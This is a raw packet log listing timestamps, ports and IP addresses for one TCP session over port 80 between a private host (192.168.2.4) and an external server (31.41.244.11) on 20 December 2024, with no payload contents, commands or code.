Dec 20, 2024 04:12:39.831448078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.831494093 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.831507921 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.831541061 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.832483053 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.832530975 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.832555056 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.832601070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.833501101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.833550930 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.833605051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.833651066 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.834531069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.834577084 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.834721088 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.834763050 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.835567951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.835609913 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.835674047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.835715055 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.836613894 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.836663961 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.836719036 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.836760998 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.837639093 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.837682009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.837747097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.837788105 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.838664055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.838707924 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.838758945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.838799953 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.839680910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.839772940 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.839798927 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.839884996 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.840734005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.840795040 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.840821981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.840871096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.841748953 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.841867924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.841880083 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.841902971 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.842773914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.842814922 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.842875004 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.842916012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.843818903 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.843858957 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.843938112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.843981981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.844866037 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.844908953 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.844980001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.845025063 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.845886946 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.845931053 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.845992088 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.846033096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.846915960 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.846959114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.846967936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.847029924 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.848000050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.848067999 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.848094940 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.848141909 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.848977089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.849023104 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.849070072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.849111080 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.850006104 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.850047112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.850111961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.850152969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.851061106 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.851109028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.851185083 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.851231098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.852088928 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.852133989 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.852164984 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.852255106 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.853116035 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.853159904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.853219986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.853261948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.854123116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.854166031 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.854227066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.854269028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.855146885 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.855197906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.855263948 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.855309010 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.856189013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.856237888 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.856303930 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.856339931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.857235909 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.857280016 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.857347012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.857404947 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.858298063 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.858341932 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.858409882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.858445883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.859328032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.859369040 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.859416008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.859455109 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.860310078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.860358000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.860430002 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.860472918 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.861358881 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.861399889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.861469984 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.861509085 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.862397909 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.862435102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.862485886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.862524986 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.863420963 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.863466978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.863513947 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.863550901 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.864481926 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.864576101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.864624023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.865472078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.865520954 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.865586042 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.865629911 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.866509914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.866589069 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.866619110 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.866671085 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.867569923 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.867613077 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.867674112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.867713928 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.868565083 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.868604898 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.868681908 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.868724108 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.869609118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.869683981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.869713068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.869761944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.870652914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.870701075 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.870767117 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.870922089 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.871661901 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.871711016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.871757030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.872697115 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.872741938 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.872797966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.872838974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.873739958 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.873783112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.873852015 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.873893023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.874772072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.874814987 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.874870062 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.874912024 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.875802040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.875842094 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.875889063 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.875935078 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.876838923 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.876883030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.876939058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.876980066 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.877872944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.877914906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.877978086 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.878022909 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.878894091 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.878940105 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.878999949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.879036903 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.879923105 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.879966974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.879992962 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.880028009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.880944967 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.880984068 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.881257057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.881297112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.881978989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.882021904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.882050991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.882091045 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.020991087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.021040916 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.021090031 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.021161079 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.021414995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.021476030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.021513939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.021704912 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.022469997 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.022516966 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.022546053 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.023480892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.023525000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.023603916 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.023848057 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.024497032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.024530888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.025540113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.025593042 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.025652885 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.025743961 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.026607037 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.026735067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.026747942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.026827097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.027650118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.027699947 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.027750015 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.027852058 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.028690100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.028786898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.029352903 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.029735088 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.029833078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.030703068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.030750990 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.030781031 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.031553030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.031723976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.031795979 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.031824112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.031861067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.032759905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.032804012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.032830954 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.033786058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.033828020 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.033902884 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.034622908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.034816027 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.034861088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.034929037 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.035886049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.035929918 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.035991907 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.036159992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.036899090 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.036936998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.036953926 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.036976099 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.037936926 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.037988901 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.038038969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.038940907 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.038985968 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.039052010 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.039814949 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.039982080 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.040026903 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.040076971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.040426016 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.041069031 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.041183949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.041227102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.042053938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.042103052 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.042174101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.042218924 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.043073893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.043204069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.043248892 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.044095993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.044154882 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.044190884 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.044820070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.045129061 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.045243979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.045295000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.046169043 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.046277046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.046320915 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.047204971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.047282934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.047327042 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.048228025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.048326969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.049238920 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.049269915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.049391985 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.049431086 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.050319910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.050359964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.050410986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.050539017 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.051337004 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.051383972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.051517963 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.051640987 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.052365065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.052474022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.052519083 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.053407907 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.053451061 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.053517103 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.054428101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.054467916 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.054538012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.054887056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.055442095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.055563927 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.055638075 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.055638075 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.056523085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.056565046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.056637049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.056699038 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.057539940 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.057579041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.057585955 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.058037996 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.058538914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.058726072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.058765888 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.059578896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.059655905 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.059681892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.059993029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.060611010 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.060729980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.060766935 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.061654091 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.061700106 CET	49838	80	192.168.2.4	31.41.244.11
